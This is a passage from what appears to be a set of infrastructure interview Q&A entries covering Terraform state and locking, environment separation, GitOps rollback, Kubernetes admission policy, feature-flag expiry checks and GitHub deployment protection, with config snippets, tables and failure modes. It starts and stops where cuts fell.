Plan: 1 to add, 0 to change, 0 to destroy. # only the SG subgraph
$ terraform apply -target=aws_security_group.checkout
Apply complete! Resources: 1 added, 0 changed, 0 destroyed.
$ terraform plan # full, no -target
Plan: 0 to add, 0 to change, 14 to destroy.
# module.network.aws_network_interface.this["eni-0"] ... ["eni-13"]
The 14 were always going to be destroyed. The targeted apply deferred the reveal, it did not cause it.
Second mechanism: stale dependents
If the targeted resource's attributes are referenced by others, those others were not updated. The next full apply sees the changed reference and reconciles it; if the change forces replacement, that reconciliation is a destroy plus create. This is why the blast radius of a targeted apply is not the target: it is the target plus everything downstream that reads it.
Detection
- Run a full
terraform plan(no-target) before and after any targeted apply. If it shows destroys, stop. terraform state listagainst the config to find orphans.terraform plan -refresh-onlyto separate drift from config changes.- CI: fail the job if
-targetappears outside the break-glass path.
Trade-offs and alternatives
-target is legitimate for recovering one broken resource during an incident, or unblocking a partial apply when a provider is down. It is not a way to make a normal change faster. Better options:
- Split state per stack or module so a change touches a small blast radius by design.
terraform apply -replace=aws_security_group.checkout(Terraform 0.15.2+) to force one resource's replacement without scoping the whole plan.terraform importorterraform state rmto fix divergence explicitly.
Failure modes
- Orphaned state: silent destroy on the next full apply. Detected by a full plan showing destroys.
- Stale dependents: replacement cascade on resources you did not touch. Detected by plan showing replace on those resources.
- Partial apply: the next apply re-plans from a half-updated state, so the diff is larger than the change you intended.
Curated: · Written: · Reviewed:
Q&A-57Apply is stuck on a lock from a cancelled runner. An engineer force-unlocked from their laptop. What is the procedure?
Core answer (say this first)
Don't unlock from the laptop. Get the lock ID from the error Terraform printed, confirm the runner that held it is actually dead, then run terraform force-unlock <LOCK_ID> from the same controlled environment that normally applies: a pipeline job with the backend credentials, not a personal profile.
The lock ID is in the error:
Error: Error acquiring the state lock
Lock Info:
ID: a1b2c3d4-...
Path: prod/terraform.tfstate
Operation: OperationTypeApply
Who: runner-7f3@ci
Created: 2025-01-14 09:12:03Z
Confirm three things before you touch it: the CI job is in a terminal state (cancelled, not running), the Who field matches that job's runner identity, and the provider shows no in-flight API calls from it. force-unlock checks none of this: it removes the lock unconditionally, so the check is on you.
Then re-run terraform plan and read it before applying. If it wants to create resources that already exist, the cancelled apply got partway and you have partial state to reconcile.
Why unlocking during a live apply is the dangerous case
Apply is read-modify-write: Terraform reads state, computes the plan, calls provider APIs, then writes the new state back at the end. The lock makes that sequence atomic. Unlock mid-apply and a second apply reads the same pre-apply state, both compute plans against it, both write back: last writer wins. Resources the first apply created are orphaned in the cloud but missing from state, or duplicated on the next run.
Concretely: a force-unlock during a still-running apply left a half-created ALB in state; the next apply created a second one and split traffic across a live and a dead target.
Procedure
- Copy the lock ID from the error.
- Verify the holder is dead: CI job status,
Whofield, provider-side in-flight calls. - Dead →
terraform force-unlock <LOCK_ID>from the pipeline, with a reason recorded on the job. - Not dead → wait.
terraform apply -lock-timeout=5mblocks and retries; the default is0s, which fails immediately. - Re-plan, read it, apply.
| Situation | Action | Result |
|---|---|---|
| Runner dead, lock stale | pipeline force-unlock <ID> | safe |
| Runner alive | -lock-timeout=5m, wait | apply finishes or fails |
Laptop force-unlock while apply live | — | split state |
Where the lock actually lives
- S3 backend: a DynamoDB item keyed by
LockID, withWho,Created,Operation,Pathattributes. Read it directly to see the holder. - GCS backend: lock metadata on the state object.
- Terraform Cloud/Enterprise: a workspace lock, released via the API or UI.
Detection and follow-up
After any force-unlock, diff terraform state list against the cloud inventory. A resource in the cloud but not in state is the signature of a split. Re-import it rather than letting the next apply create a duplicate.
Treat unlock as a state mutation: same two-person approval as a prod apply, because it can let a second writer in.
Curated: · Written: · Reviewed:
Q&A-58dev, staging, and prod are terraform workspaces in one state bucket. A workspace select mistake applied prod from a staging PR. How do you separate them?
Core answer (first 90 seconds)
Separate the state, not the workspace name. Terraform workspaces share one backend config and one credential set; the only thing distinguishing prod from staging is the string in TF_WORKSPACE. Anything that can set that string (a copied secret, a PR title, a -var) can point a staging job at prod state. So the fix is one state per environment behind a credential that cannot reach the others.
Assumptions I'd state up front: single AWS account today, S3 + DynamoDB lock backend, CI runs Terraform with OIDC. If you can move prod to its own account, do that instead: it's the only boundary a misconfigured role can't cross.
What I'd change
- One backend key per env, one role per env, one directory per env.
- CI derives the environment from the pipeline (branch protection / GitHub environment), never from a variable a PR can influence.
- Apply the saved plan file, not a re-plan.
| Env | State key | Apply role | Account |
|---|---|---|---|
| dev | acme/dev/terraform.tfstate | dev-apply | 111111111111 |
| staging | acme/staging/terraform.tfstate | staging-apply | 111111111111 |
| prod | acme/prod/terraform.tfstate | prod-apply | 222222222222 |
Backend config per directory:
# envs/prod/backend.tf
terraform {
backend "s3" {
bucket = "acme-tfstate"
key = "acme/prod/terraform.tfstate"
region = "us-east-1"
dynamodb_table = "acme-tf-lock"
encrypt = true
}
}
No workspace block, no TF_WORKSPACE. The key is in the file, reviewed in the PR.
Bucket policy that makes the boundary real: staging role denied write on the prod key:
{
"Effect": "Deny",
"Principal": {"AWS": "arn:aws:iam::111111111111:role/staging-apply"},
"Action": ["s3:PutObject", "s3:DeleteObject"],
"Resource": "arn:aws:s3:::acme-tfstate/acme/prod/*"
}
Migration trace (per env, prod last, during a freeze):
- In the old repo,
terraform workspace select prod && terraform state pull > prod.tfstate. This readsacme-tfstate/env:/prod/terraform.tfstate. - In
envs/prod/,terraform initagainst the new key, thenterraform state push prod.tfstate. terraform plan: expect "No changes". A non-empty plan means the pull was from the wrong workspace; stop.- Delete the old workspace state only after two clean plans.
Failure modes and detection
- Wrong-workspace pull: step 3 catches it; the plan is non-empty.
- Partial migration: some resources still in the old key.
terraform state listin both backends and diff the counts. - Cross-env remote state: staging reads prod outputs via
terraform_remote_state. That's a read, not a write, but it couples them: replace with SSM parameters or explicit outputs. - Detection in prod: CloudTrail data events on the state bucket, alarm on any
PutObjecttoacme/prod/*from a principal that isn'tprod-apply.
What I'd verify before calling it done
A denied apply: run the staging job with the prod key and confirm S3 returns AccessDenied. And grep -r "workspace select" .github/ returns nothing.
Curated: · Written: · Reviewed:
Q&A-60A typo in a for_each dropped a production database from config. Apply wanted to destroy it. prevent_destroy was on the resource. Why is that not enough?
Short answer: prevent_destroy is a property of the resource block in your configuration, not of the database. The typo removed the instance from configuration, so the plan had a destroy with no lifecycle block attached to it. The guard was never consulted. You need a check that lives outside the config, cloud-level deletion protection and a plan policy, because both survive the config being wrong.
Why the guard disappeared
Terraform evaluates lifecycle during plan, against the resource as it exists in configuration. prevent_destroy = true makes the plan fail if that resource would be destroyed. The check is scoped to the config node.
With for_each, each key is a separate instance address. Change the key (typo) and the old address aws_db_instance.this["prod-checkout-db"] is no longer in config: it exists only in state. Terraform plans a destroy for the state-only instance. There is no config node for it, so there is no lifecycle block for the plan to read. The destroy is planned clean.
resource "aws_db_instance" "this" {
for_each = var.databases # typo changed a key here
identifier = each.key
deletion_protection = true
lifecycle {
prevent_destroy = true
}
}
Plan after the typo:
# aws_db_instance.this["prod-checkout-db"] will be destroyed
- resource "aws_db_instance" "this" {
...
}
# aws_db_instance.this["prod-checkout-db-typo"] will be created
prevent_destroy does not appear in that plan because the instance it was attached to is gone from config.
What actually stops it
| Layer | Survives the typo? | What it blocks |
|---|---|---|
prevent_destroy | No: travels with the config | Terraform destroy of a configured instance |
Plan policy (OPA/conftest on terraform show -json) | Yes | Any plan containing a delete of a protected resource |
Cloud deletion protection (deletion_protection = true on RDS) | Yes | The API call itself; DeleteDBInstance returns an error |
| Backups / PITR | Yes | Nothing: it bounds recovery time |
The plan policy is the one that fails CI before apply. The cloud flag is the one that fails apply even if CI is bypassed. Neither is optional.
Failure modes to name
- Cloud deletion protection managed in the same config: if the typo removes the resource, Terraform plans destroy; the API rejects it because the attribute is still true on the instance. Apply errors. That is the backstop working. But if someone runs
terraform state rmand then deletes by hand, nothing in Terraform sees it. - Plan policy that only checks
terraform plantext output: brittle. Parseterraform show -jsonand matchresource_changes[].change.actionscontainingdelete. - Policy with an override file: the override is the new single point of failure. Require it to be a separate PR with a named approver, and log it.
Detection
CI job: terraform plan -out=tfplan && terraform show -json tfplan | conftest test -. Fail on any delete of aws_db_instance tagged protected=true. Alert on the plan, not the apply.
What I'd say in the interview
prevent_destroy is a guardrail inside the config; it cannot protect an object that has left the config. Treat it as one layer, and put the load-bearing protection where the typo can't reach it: the cloud API and a plan policy.
Curated: · Written: · Reviewed:
Q&A-55Apply runs on every PR to "shift left". A preview applied a prod IAM change. What is the split, and whose plan do you apply?
The split
Plan on PR, apply on merge, but the plan you apply is never the PR's plan. The PR plan is speculative: computed against the PR's merge-base state with read-only credentials, and it exists only to be reviewed. The apply runs from a trusted workflow on the merged commit, regenerates the plan against current state, and applies that file.
Whose plan: the one the post-merge job just produced, identified by its SHA-256 digest. If the digest doesn't match what the apply step was handed, the apply aborts.
Concretely
PR job: on: pull_request, permissions: id-token: write, contents: read, assumes a plan-only role via OIDC. Trust policy condition token.actions.githubusercontent.com:sub = repo:acme/infra:pull_request; the role carries ReadOnlyAccess plus read on the state bucket. It runs terraform plan -out=plan.tfplan, then terraform show -json plan.tfplan | conftest test - for policy. There is no apply step in this workflow at all.
Merge job: on: push: branches: [main], environment: prod with required reviewers, permissions: id-token: write. Trust policy condition sub = repo:acme/infra:environment:prod. It runs terraform plan -out=plan.tfplan, sha256sum plan.tfplan, uploads the artifact, waits for approval, then terraform apply plan.tfplan. Terraform refuses a stale plan: if the state serial moved since plan, apply errors with "saved plan is stale" instead of silently re-planning.
| Event | Plan | Apply | Creds |
|---|---|---|---|
| pull_request | speculative, merge-base | no | plan-only role, read state |
| push to main | fresh, merged SHA | yes, digest-verified | env role via OIDC |
| PR apply (the bug) | — | yes | prod role reachable from PR |
Why the PR plan can't be applied
A saved plan file is bound to the state serial and the exact configuration it was built from. The PR's plan was built from the PR's tree; after merge the tree differs, so applying it either errors as stale or applies a diff nobody reviewed against the merged code. A plan file is also not a neutral artifact: it holds the full before/after values, secrets included in plaintext, so it is handled as sensitive.
Failure mode
The incident you describe, PR apply with a mis-selected workspace attaching a public IP to a prod RDS, happens when the PR workflow can assume the prod role. Detection: a scheduled terraform plan on main flags drift; CloudTrail shows AssumeRole from a pull_request subject; AWS Config rule rds-instance-public-access-check fires. The fix is the trust policy: no pull_request subject can assume the env role, so the PR cannot apply.
What I'd check before calling it done
- The apply job's OIDC subject is
environment:prod, notpull_request. - The plan digest is computed in the apply job after merge, not uploaded by the PR.
- The apply step runs
terraform apply <file>, never bareterraform apply(which re-plans and can pick up unreviewed changes).
Curated: · Written: · Reviewed:
Q&A-101Two engineers ran terraform apply at the same time from their laptops. Both plans said 3 to add, 0 to change. Prod now has six of everything. What was missing, and where should state live?
First 90 seconds. Terraform state is the mapping from your config to real resource IDs. With local state, each engineer has their own copy on their laptop. Both plans read their own copy, both saw "3 to add", both applied, and prod has six. Nothing in Terraform stopped it because there was no shared state and therefore no lock. The fix is a remote backend with locking (S3 + DynamoDB, GCS, Terraform Cloud, or Postgres) and the rule that no human and no CI job ever applies against local state.
Why the second apply wasn't caught. State carries a serial integer. Every apply increments it. If you terraform plan -out=tfplan and then terraform apply tfplan, Terraform compares the plan's serial against current state and refuses with "Saved plan is stale" when they differ. The double apply happened because both engineers ran terraform apply with no saved plan against local state: no serial to compare, no lock to contend.
Backend config (Terraform 1.10+ uses S3 native locking; the DynamoDB table is the pre-1.10 pattern):
terraform {
backend "s3" {
bucket = "acme-tfstate-prod"
key = "checkout/terraform.tfstate"
region = "us-east-1"
encrypt = true
use_lockfile = true # Terraform >= 1.10
dynamodb_table = "acme-tfstate-locks" # pre-1.10, LockID primary key
}
}
use_lockfile writes a .tflock object beside the state; the older pattern writes a DynamoDB item. Both acquire before plan/apply and release after. If the lock exists, the second apply fails immediately with the lock ID and holder: it does not queue.
Timeline of the failure (hypothetical, starting from zero resources):
| t | Engineer A | Engineer B | Prod count |
|---|---|---|---|
| 0:00 | plan: 3 to add | 0 | |
| 0:02 | plan: 3 to add | 0 | |
| 0:05 | apply → 3 created | 3 | |
| 0:07 | apply → 3 created | 6 |
Why state must not live in git. Three reasons, in order of severity:
- State is plaintext. RDS passwords, generated IAM keys, TLS private keys and connection strings sit in it. Committing it publishes them to everyone with repo read and to git history forever; rotation is the only remedy.
- Every apply rewrites it. Two engineers on branches produce a merge conflict in a JSON blob with no semantic merge. Resolving it by hand corrupts the mapping and Terraform plans to destroy and recreate.
- It is a runtime artefact, not source. It changes without a commit, so git's history is a lie about what is deployed.
Failure modes to name. A cancelled CI runner leaves the lock held: terraform force-unlock <ID> only after confirming the holder is dead, never as a reflex. -lock=false against a shared backend is the same bug as local state. A backend bucket without versioning has no recovery from a corrupted state; enable versioning and SSE. And a human applying from a laptop against the remote backend still races CI unless the pipeline is the only writer: the lock serialises, it does not authorise.
Curated: · Written: · Reviewed: —
Q&A-102A bad deploy is live at 3am. On-call runs helm rollback and the app recovers, then the GitOps controller re-applies the bad manifest minutes later. What is the correct rollback procedure, and why does imperative rollback fight the controller?
Git is the desired state; the cluster is a projection of it. So the rollback is a revert commit, and helm rollback is at best a stopgap the reconciler will undo.
What actually happens at 3am
| Time | Event |
|---|---|
| 03:00 | Bad manifest merged; Argo CD syncs; checkout returns 500 |
| 03:04 | On-call runs helm rollback checkout 12; live Deployment is back on 4.11 |
| 03:07 | Argo CD's next poll (default 3 min) sees live ≠ Git, self-heal re-applies 4.12 |
| 03:10 | Outage resumes, now with a confused on-call |
The mechanism: Argo CD does not read Helm release history. It renders manifests from Git and applies them, then compares live against that render. helm rollback writes sh.helm.release.v1.checkout.v12 and patches the Deployment: neither is visible to the controller, so the next reconcile treats your fix as drift. Flux behaves the same way: the Kustomization re-applies the Git revision on its interval (default 10m, or seconds with a receiver webhook).
The procedure
- Revert in Git.
git revert --no-edit <bad-sha>(orgit revert -m 1 <merge-sha>if the bad change arrived as a merge), push to the tracked branch, and let the controller converge. Argo CD with a webhook picks this up in seconds; polling is up to 3 minutes. - If the revert cannot land inside your outage budget: protected branch, no second approver awake, or the bad state is being re-applied faster than you can fix it: suspend sync, revert, then resume. Suspend is a hold, not a fix:
argocd app set checkout --sync-policy none # stop self-heal
# revert lands and is reviewed by a second on-call
git revert --no-edit 9f3c1ab && git push origin main
argocd app set checkout --sync-policy automated --self-heal
argocd app sync checkout
Flux equivalent: flux suspend kustomization checkout / flux resume kustomization checkout.
Why imperative rollback fights the controller
Two writers to one desired state. The controller's job is to make live match Git, so any out-of-band write is either reverted (self-heal on) or silently accumulates as drift (self-heal off). It also breaks the audit trail: the next pipeline helm upgrade starts from a release history that no longer matches Git, and the incident review has no commit to point at.
When suspend is justified, and its failure modes
Justified when the revert genuinely cannot land in time and you need the bleeding stopped now. Time-box it, page a second person, and have the revert in flight before you resume. The classic failure is leaving sync suspended overnight: at 09:00 the controller resumes and applies every commit that landed since, all at once, with no canary. Other traps:
- Reverting a merge commit without
-m 1reverts the wrong parent or fails outright. - Reverting a manifest does not undo a migration that already ran: that needs expand/contract, not a revert.
- Mutable tags:
checkout:4.11may not be the digest that was running. Revert to the digest. kubectl editis the same mistake with a shorter half-life (see the drift question): it is not a rollback either.
The one-line answer an interviewer wants: under GitOps the rollback is a commit, the controller is the only writer, and suspending sync is a time-boxed hold while that commit lands. Never the fix itself.
Curated: · Written: · Reviewed: —
Q&A-97Conftest runs in a weekly audit. A privileged pod shipped on Tuesday. When does policy run?
Policy runs Friday: the next weekly audit, 72 hours after the pod was admitted.
Assumptions I'd state up front: conftest is invoked only by the weekly audit job. Nothing else evaluates policy: no CI gate, no admission webhook. The audit scans live cluster state at scan time.
Mechanism: conftest is a CLI. It reads structured input (YAML/JSON/HCL), evaluates Rego against it, prints results, exits. No daemon, no watch, no API-server hook. Detection latency equals the gap between invocations. A weekly cron gives you up to 7 days, 3.5 on average, and 3 days here.
Trace:
- Tue 02:00. Pod with
privileged: trueadmitted. The API server has no policy hook, so nothing evaluates it. - Tue 02:00 → Fri 02:00. The pod runs privileged.
hostPID,hostNetwork,hostPathmounts and added capabilities are all live for that window. - Fri 02:00. Cron fires, conftest evaluates the snapshot, violation found, ticket opened.
72 hours of unpoliced privileged execution.
| Where policy runs | When it fires | Catches Tuesday's pod? | Gap |
|---|---|---|---|
| CI (conftest on rendered manifest) | pre-merge | only if the manifest went through the pipeline | kubectl apply, operator-created pods, controller-rendered charts bypass it |
| Admission webhook (Gatekeeper/Kyverno) | at API-server write | yes | webhook unreachable → depends on failurePolicy |
| Weekly audit (conftest cron) | Fri 02:00 | yes, 3 days late | up to 7 days |
Trade-offs, and when each is the right choice: the weekly audit is a backstop for drift and for resources that never passed through CI or admission. It's cheap, it can't block anything, and it's the only control that sees the cluster as it actually is. It is the wrong primary control. CI is the right place to fail a PR, but it only governs what goes through the pipeline. Admission is the only control that sees every write to the API server, including kubectl apply and pods created by controllers; the cost is a runtime dependency on the webhook, so you choose failurePolicy: Fail (availability risk) or Ignore (silent bypass) deliberately.
Failure modes: audit-only gives a detection window equal to the scan interval, and a snapshot scan misses anything created and deleted between runs. A privileged pod that ran for six days and was cleaned up never appears. Admission with failurePolicy: Ignore admits everything while the webhook is unreachable, and the weekly audit won't tell you it happened. CI-only misses out-of-band applies entirely.
Detection: don't wait for Friday. Alert on privileged pods from the API-server audit log or an admission event stream, so the signal is minutes, not days. The weekly conftest run stays as the reconciliation check that the other two haven't drifted.
Curated: · Written: · Reviewed:
Q&A-98CI has policies. A human applied a bad manifest with --validate=false. What still stops it?
--validate=false disables exactly one thing: kubectl's client-side check of the manifest against the cluster's OpenAPI schema. The request still goes to the API server, and the API server still runs the full admission chain before anything reaches etcd. So what stops the bad manifest is whatever validating admission you have server-side (Pod Security Admission, Kyverno, Gatekeeper, Kubewarden) plus the API server's own decoding of the object.
The corollary is the part that bites: a policy that exists only as a CI job stops nothing. CI gates the Git path. Anyone holding a kubeconfig and create on pods is not on that path.
What runs on the request
- Authentication, then authorization (RBAC). RBAC can't restrict fields, only verbs and resources: it decides whether you may create a Pod at all, not whether that Pod may use
hostNetwork. - Mutating admission webhooks.
- Validating admission webhooks (Kyverno, Gatekeeper). A denial here is final.
- Built-in admission: PodSecurity, LimitRanger, ResourceQuota, ServiceAccount, NodeRestriction.
--validate=false appears nowhere in that list. It only sets the fieldValidation query parameter to Ignore, so unknown fields are tolerated. A string where an int32 belongs, or a missing required field, is still a 400 from the API server.
The gate that actually holds
Pod Security Admission is built into the API server since 1.25 and needs no CRD. Label the namespace:
apiVersion: v1
kind: Namespace
metadata:
name: payments
labels:
pod-security.kubernetes.io/enforce: restricted
pod-security.kubernetes.io/enforce-version: v1.29
restricted rejects hostNetwork, hostPID, privileged, hostPath, and anything without a seccomp profile. A user with create pods in payments cannot turn it off; only someone who can patch the namespace labels or the admission configuration can.
For policy PSA doesn't cover (required labels, allowed registries, image signatures) the same shape lives in a Kyverno ClusterPolicy with validationFailureAction: Enforce, or a Gatekeeper ConstraintTemplate with enforcementAction: deny.
Where it still leaks
| Leak | Why |
|---|---|
failurePolicy: Ignore | Webhook unreachable, request admitted. Gatekeeper's validating webhook defaults to Ignore; Kyverno's defaults to Fail. |
namespaceSelector miss | Policy exists but never sees the namespace. |
| Audit / dryrun mode | Violation logged, object created anyway. |
| Cluster-admin | Can delete the webhook configuration or patch the label. Admission guards ordinary users, not the cluster owner. |
| Scope | PSA covers pod security only. A Service with type: LoadBalancer is out of its reach. |
Set failurePolicy: Fail and accept the coupling: a webhook outage becomes a write outage for matching resources. Run at least two replicas, a PodDisruptionBudget, and exclude kube-system from the webhook so you can still repair the cluster.
How you'd know it fired
The denial comes back to the client and lands in the API server audit log with the webhook's message in the response status. Kyverno also writes PolicyReport/ClusterPolicyReport objects; Gatekeeper's audit writes violations into constraint status. A scratch namespace and the bad manifest is the cheapest test:
$ kubectl -n scratch apply -f hostnet.yaml --validate=false
Error from server (Forbidden): error when creating "hostnet.yaml":
pods "curl" is forbidden: violates PodSecurity "restricted:v1.29":
hostNetwork=true, allowPrivilegeEscalation != false
That is the check I'd run before calling the baseline real.
Curated: · Written: · Reviewed:
Q&A-68NEW_CHECKOUT_V2 has been 100% for 4 months and is still in the code and the flag service. What fails CI?
Nothing fails CI today. No mainstream pipeline (GitHub Actions, GitLab CI, Jenkins) ships a flag-expiry check, and the flag service does not push state into your build. A flag at 100% for four months is invisible to a default pipeline. What fails CI is a job you add: read the flag catalogue, fail when a flag past its expiry is still referenced in source. Until that job exists, the honest answer to "what fails CI" is "nothing," and that is the defect.
The check
# ci/flag-expiry.sh — bash 5, jq 1.7
set -euo pipefail
# 1. pull flags tagged temporary from the flag service
curl -sf -H "Authorization: $FLAG_API_TOKEN" \
"$FLAG_API/flags?tag=temporary" \
| jq -r '.[] | select((.expiresOn | fromdateiso8601) < now) | .key' \
> /tmp/expired.txt
# 2. fail if any expired key still appears in source
status=0
while read -r key; do
if grep -rq --include='*.ts' --include='*.py' -e "\"$key\"" -e "'$key'" src/; then
echo "expired flag still referenced: $key"
status=1
fi
done < /tmp/expired.txt
exit $status
Trace it on the flag in question. expiresOn is 2026-06-01; fromdateiso8601 gives 1780272000. now in September 2026 is larger, so NEW_CHECKOUT_V2 lands in /tmp/expired.txt. grep -rq finds the literal "NEW_CHECKOUT_V2" in src/checkout.ts, prints the line, sets status=1, and the job exits 1. CI is red. If the key only ever appears as a runtime-built string, grep finds nothing and the job passes: that is the gap the next row covers.
Trade-offs
| Approach | Catches | Misses | Cost |
|---|---|---|---|
| grep + checked-in expiry list | literal keys in source | keys built at runtime, config-driven flags | no token, no API |
| flag service code-reference scan (LaunchDarkly code references, Unleash) | authoritative per-flag reference map | needs a CI token and repo indexing | setup |
| hard fail on expiry | forces removal | blocks unrelated PRs when an expiry lands mid-sprint | merge freeze |
| warn, or a nightly tracking issue | no merge freeze | gets ignored | slow drift |
The usual compromise: hard-fail only on PRs that touch the flag's call sites, and run the full catalogue check nightly. That keeps the expiry date from becoming a team-wide merge freeze while still making removal the path of least resistance.
Why it matters
A flag service outage is the failure this prevents. A process that starts during the outage with no cached value serves the default passed to the variation call: usually false. NEW_CHECKOUT_V2 flips off, the old path has had no traffic for four months and no test coverage, and checkout 500s. Detect it by alerting on default-value/fallback serving, not just on error rate, and by keeping one test on the old path until the flag is deleted.
A flag at 100% is a branch nobody merges. The CI job is what makes deleting it the default.
Curated: · Written: · Reviewed:
Q&A-75A new service copies a 900-line workflow from checkout and changes the name. Six months later checkout got OIDC and the new service still has keys. How should a service start?
The 90-second answer
Start new services from a versioned golden-path template, not from a copy of an existing service. A copy is a fork: the moment you rename checkout-workflow.yml to new-service-workflow.yml, you own 900 lines of YAML forever, and every platform change (OIDC, runner upgrades, secret rotation) has to be replayed by hand into every copy. A template is a dependency: the platform team ships service-template@3.4, and your repo records which version it was generated from.
Assumptions: a platform team owns the template, services are similar enough to share a skeleton, and CI runs on every repo.
Mechanism
The generator (cookiecutter, Backstage scaffolder, or an internal create-service CLI) writes the repo and stamps the version into a file the service owns:
# .platform/template.yaml
template: service-golden-path
version: 3.4.0
Two CI jobs make the stamp load-bearing. First, a check that fails when the pinned version is more than one minor behind the current template:
pinned=$(yq '.version' .platform/template.yaml) # 3.4.0
latest=$(curl -s "$PLATFORM_API/golden-path/latest") # 3.4.0
# fail if major differs, or minor gap > 1
Second, a scheduled job that opens an upgrade PR against every repo whose stamp is behind, so the OIDC change lands as a reviewable diff instead of a Slack reminder.
Why copy-paste fails
The failure is drift, and it is silent. Checkout moves to OIDC in March; the copy still reads static keys from a secret. Nothing fails (the pipeline is green, the service works) until the keys leak or the IAM policy is revoked. Illustrative numbers: if 14 copied repos each carry the old auth block and 2 of them leak keys before anyone notices, the cost is not the 14 edits, it is the 6 months of unknown exposure.
| Repo | Template | Auth |
|---|---|---|
| checkout | 3.4 | OIDC |
| new-service (copied) | 1.0 | static keys |
| new-service (generated) | 3.4 | OIDC |
Trade-offs and failure modes
Templates constrain. If the template is wrong or slow to update, teams route around it: they copy anyway, or they fork the template. So the template needs an escape hatch: a documented way to diverge, with the divergence recorded in .platform/template.yaml as an override, so the skew check knows it is intentional.
Failure modes to watch: template rot (nobody bumps the template, so the version check is meaningless); an advisory-only skew check that nobody reads; and generated repos that diverge in week one and never take an upgrade PR. Detect all three by tracking template version per repo as a metric and alerting on the count of repos more than one minor behind.
What I'd want to see
A scorecard: template version per repo, and a blocking check below the allowed skew. That is the evidence the drift is actually controlled, not just documented.
Curated: · Written: · Reviewed:
Q&A-76Teams open tickets for a namespace, quota, and ingress. Median wait is 6 days. What does the platform expose instead?
The platform exposes a declarative self-service API: a team creates one resource, and a controller reconciles the namespace, quota, RBAC, network policy and ingress route from it. The ticket queue is replaced by a schema, an admission webhook that validates against the golden spec, and a controller that owns the default path.
apiVersion: platform.example.com/v1
kind: NamespaceRequest
metadata:
name: payments-staging
spec:
team: payments
environment: staging
quotaTier: medium # small | medium | large
ingress: internal # none | internal | public
ttl: 30d # optional; rejected if the namespace holds PVCs
The controller creates the Namespace, a ResourceQuota and LimitRange from quotaTier, a default-deny NetworkPolicy, a RoleBinding to the payments group, and, for internal, an HTTPRoute on the internal Gateway. public is the same object with an approval label; the route is created only once the label is present.
The webhook is where the golden spec is enforced: unknown tier rejected, ingress: public without a justification annotation and approved-by label rejected, ttl on a namespace with PVCs rejected. Validation at admission is what keeps the controller simple: it never has to decide, only to reconcile.
What this costs the platform team is the part requesters don't see. The API is a versioned product: quotaTier values are frozen once published, adding a tier is a capacity decision, and changing the schema needs a deprecation window. Budget roughly 4 engineer-hours a month for the controller, the webhook and quarterly tier sizing. The alternative, a Terraform module copied into each team's repo, spreads the same logic across N repos and loses the central quota ledger you need to answer "who is using the cluster".
Exceptions still exist, but they are bounded and have stated criteria rather than a queue position:
publicingress: hostname in the team's own DNS zone, WAF and rate-limit annotations present, security review if the service handles PII.- quota above
large: capacity owner signs off, because it is a shared-cluster scheduling decision. - cross-namespace traffic: NetworkPolicy exception reviewed by both teams.
Failure modes worth naming. A webhook with failurePolicy: Fail is a hard dependency, if it is down, no namespace can be created anywhere; run two replicas with a short timeout, and don't switch to Ignore, which lets unvalidated requests through. A TTL reaper that deletes a namespace holding a PVC is data loss, so gate TTL on "no PVCs" and make it opt-in. Tier inflation is the quiet one: teams pick large "just in case", so publish requested-versus-used quota per tier.
Illustrative targets, not measurements:
| Path | p50 request→Ready | Who acts | Failure mode |
|---|---|---|---|
| ticket | 6 d | platform on-call | shared leftover namespace |
| API, golden spec | ~2 min | controller | webhook down blocks all creates |
| API + exception | 1 business day | named reviewer | approval label never added, route missing |
At 60 requests a month, the ticket path costs about 45 minutes of platform-engineer time each (triage, quota sizing, ingress review) so roughly 45 hours, or 0.28 FTE. On the API path only the ~20% exceptions need a human, about 5 minutes each: an hour a month, plus the 4 hours of maintenance above.
Curated: · Written: · Reviewed:
Q&A-14Anyone with write on the repo can click "Deploy to production". What belongs on the production environment?
Production is a protected environment object, not a job. Anyone with push can dispatch a workflow, so the gate has to live somewhere they cannot edit in the same commit.
What belongs on the production environment:
- Required reviewers: at least one, and GitHub blocks the user who triggered the deployment from approving it, so "one reviewer" means one other person.
- Deployment branch policy:
main(or a release tag pattern), not "all branches". - Environment-scoped secrets:
PROD_*resolvable only in jobs that nameenvironment: production, never onpull_request. - Wait timer: only if policy demands a cooling-off window; it delays, it does not review.
- The artifact identity: the digest that ships, the gate that approved it, and the rollback command, recorded on the same change.
deploy-prod:
environment:
name: production
url: https://app.example.com
permissions:
id-token: write # OIDC to the cloud role; no long-lived prod secret
contents: read
if: github.ref == 'refs/heads/main'
steps:
- uses: actions/checkout@v4
- run: ./deploy.sh --digest "${{ inputs.digest }}"
Alternatives, and when the lighter one is enough
| Control | Stops | Cost | Enough when |
|---|---|---|---|
| Environment: required reviewers + branch policy | a write user dispatching prod | native, no extra infra | default for a repo that deploys from CI |
| Branch protection on a release branch, tag-triggered deploy | unreviewed code reaching prod | no human at deploy time | small trusted team, low blast radius |
OIDC to a cloud role trusted for repo:ref:environment | long-lived prod credentials | IAM setup | any cloud deploy; replaces env secrets |
| Separate deploy repo or org | contributors editing the deploy path | repo split, sync overhead | contractors, many writers, regulated |
| External CD (Argo, Spinnaker, Terraform Cloud) approval | CI-side bypass | a system to run | multi-service, GitOps already in place |
If prod is an internal service with canary plus auto-rollback and the real risk sits in code review, branch protection alone is defensible. If a bad deploy takes down revenue, the environment gate plus OIDC is the floor.
Failure modes
- Workflow-file edit. Anyone with write can delete
environment:from the job or add a new workflow. Environment rules are only as strong as CODEOWNERS on.github/workflows/**plus branch protection requiring review. - Approval is a speed bump, not a trust boundary. A second write user can approve anything. Scope the OIDC trust policy to the environment so the cloud rejects a deploy that did not come through the gate.
- Artifact drift. Gate the promote job that pulls a digest from the registry, not a rebuild. Otherwise the approved bits are not the shipped bits.
- Stale approval. A deployment approved Friday and run Monday. Expire approvals or keep the wait timer short.
Verification
A deploy from a feature branch is rejected by the branch policy. A deploy without the second reviewer sits in Waiting, not Running. gh api repos/{owner}/{repo}/deployments shows the environment and the approving actor on the record.
Write access to git is not authority to run production. That record is part of the change, not a wiki page written afterwards.
Curated: · Written: · Reviewed:
Q&A-72Slack /deploy prod checkout runs a workflow_dispatch that skips required reviewers "because a human typed it". What did you skip?
What you skipped: the prod environment's required reviewers.
The trigger isn't the gate. GitHub evaluates environment protection rules (required reviewers, wait timer, deployment-branch restrictions) per job, at the moment a job that declares environment: prod starts. workflow_dispatch doesn't bypass them; neither does push. So "a human typed it" describes nothing. If reviewers were skipped, the ChatOps job never bound to the protected environment in the first place.
That's the whole bug. Two jobs, same repo:
# .github/workflows/deploy.yml
on:
workflow_dispatch: # /deploy calls this
jobs:
chatops:
runs-on: ubuntu-latest
# no `environment:` key -> no protection rules evaluated
steps:
